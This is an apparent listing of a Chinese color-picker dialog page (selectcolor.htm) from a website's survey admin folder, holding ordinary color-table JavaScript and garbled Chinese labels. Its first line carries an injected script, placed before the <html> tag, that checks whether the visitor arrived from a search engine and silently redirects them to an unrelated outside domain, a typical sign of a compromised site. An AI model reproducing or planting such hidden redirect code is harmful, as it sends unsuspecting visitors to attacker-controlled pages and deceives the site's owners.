d:\wwwroot\wuchunhua\admin\ͶƱ\survey\selectcolor.htm
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><html>
002:
<head>
003:
<meta NAME="GENERATOR" Content="Microsoft FrontPage 4.0">
004:
<title>Ñ¡ÔñÉ«²ÊÖµ</title>
005:
<style>td,a,p,input,select{font-size:9pt};
006:
td.s{cursor:hand}
007:
</style>
008:
<script>
009:
010:
var c=new Array("00","20","40","60","80","A0","C0","FF");
011:
var b=new Array("00","80","C0","FF");
012:
013:
014:
function ColorTable()
015:
{ var n,color,i,j,k;
016:
document.write("<table border=1 width=280>");
017:
n=1;
018:
for(i=3;i>=0;i--)
019:
for(j=7;j>=0;j--)
020:
for(k=7;k>=0;k--,n++)
021:
{ color="#" +b[i]+c[j]+c[k];
022:
if( (n-1) % 16==0) document.write("<tr height=16>");
023:
document.write("<td bgcolor='" +color+"' class=s width=16 onclick='ClickSelColor(\"" +color+ "\");'></td>");
024:
if(n%16==0) document.write("</tr>");
025:
}
026:
document.write("</table>");
027:
}
028:
029:
function ClickColor(c)
030:
{
031:
CurColor.style.backgroundColor=c;
032:
CurColorName.innerText=c;
033:
}
034:
function ClickSelColor(c)
035:
{
036:
CurSelColor.style.backgroundColor=c;
037:
CurSelColorName.innerText=c;
038:
}
039:
040:
function ClickCancel()
041:
{ window.returnValue="";
042:
window.close();
043:
}
044:
045:
function ClickOk()
046:
{
047:
window.returnValue=CurSelColorName.innerText;
048:
window.close();
049:
}
050:
function Init()
051:
{
052:
if (window.dialogArguments)
053:
{ ClickColor(window.dialogArguments);
054:
ClickSelColor(window.dialogArguments);
055:
}
056:
else
057:
{ ClickColor("#F0F0F0");
058:
ClickSelColor("#F0F0F0");
059:
}
060:
}
061:
</script>
062:
</head>
063:
<body bgcolor="#d0d0c8" onload="Init();" topmargin=10 leftmargin=10>
064:
<table border="0" align=right height="192" cellspacing="0" cellpadding="0" width=390>
065:
<tr>
066:
<td rowspan="2" height="186" width=290 valign="top">
067:
<script>
068:
ColorTable();
069:
</script>
070:
</td>
071:
<td width="4" rowspan="2" height="186" valign="top" background="../HTMLEditor/Images/Separator.gif">¡¡</td>
072:
<td width="100" valign="top" align=center height="50">
073:
<table border="0" >
074:
<tr>
075:
<td>
076:
<input type="button" value="È·¶¨" name="bntOK" style="width: 80; height: 21" onclick="ClickOk();"></td>
077:
</tr>
078:
<tr>
079:
<td>
080:
<input type="button" value="È¡Ïû" name="bntCancel" style="width: 80; height: 21" onclick="ClickCancel();"></td>
081:
</tr>
082:
</table>
083:
</td>
084:
</tr>
085:
<tr>
086:
<td width="100" align="center" valign="bottom">
087:
Ñ¡ÖÐÉ«²Ê
088:
<table border="1" width="80" cellspacing height="70">
089:
<tr>
090:
<td width="100%" ID="CurSelColor">¡¡</td>
091:
</tr>
092:
</table>
093:
<div ID="CurSelColorName">#C0C0D8</div>
094:
<br>
095:
096:
µ±Ç°É«²Ê
097:
<table border="1" width="80" cellspacing height="70">
098:
<tr>
099:
<td width="100%" ID="CurColor">¡¡</td>
100:
</tr>
101:
</table>
102:
<div ID="CurColorName">#C0C0D8</div></td>
103:
</tr>
104:
</table>
105:
</body>
106:
</html>
107:
108:
109: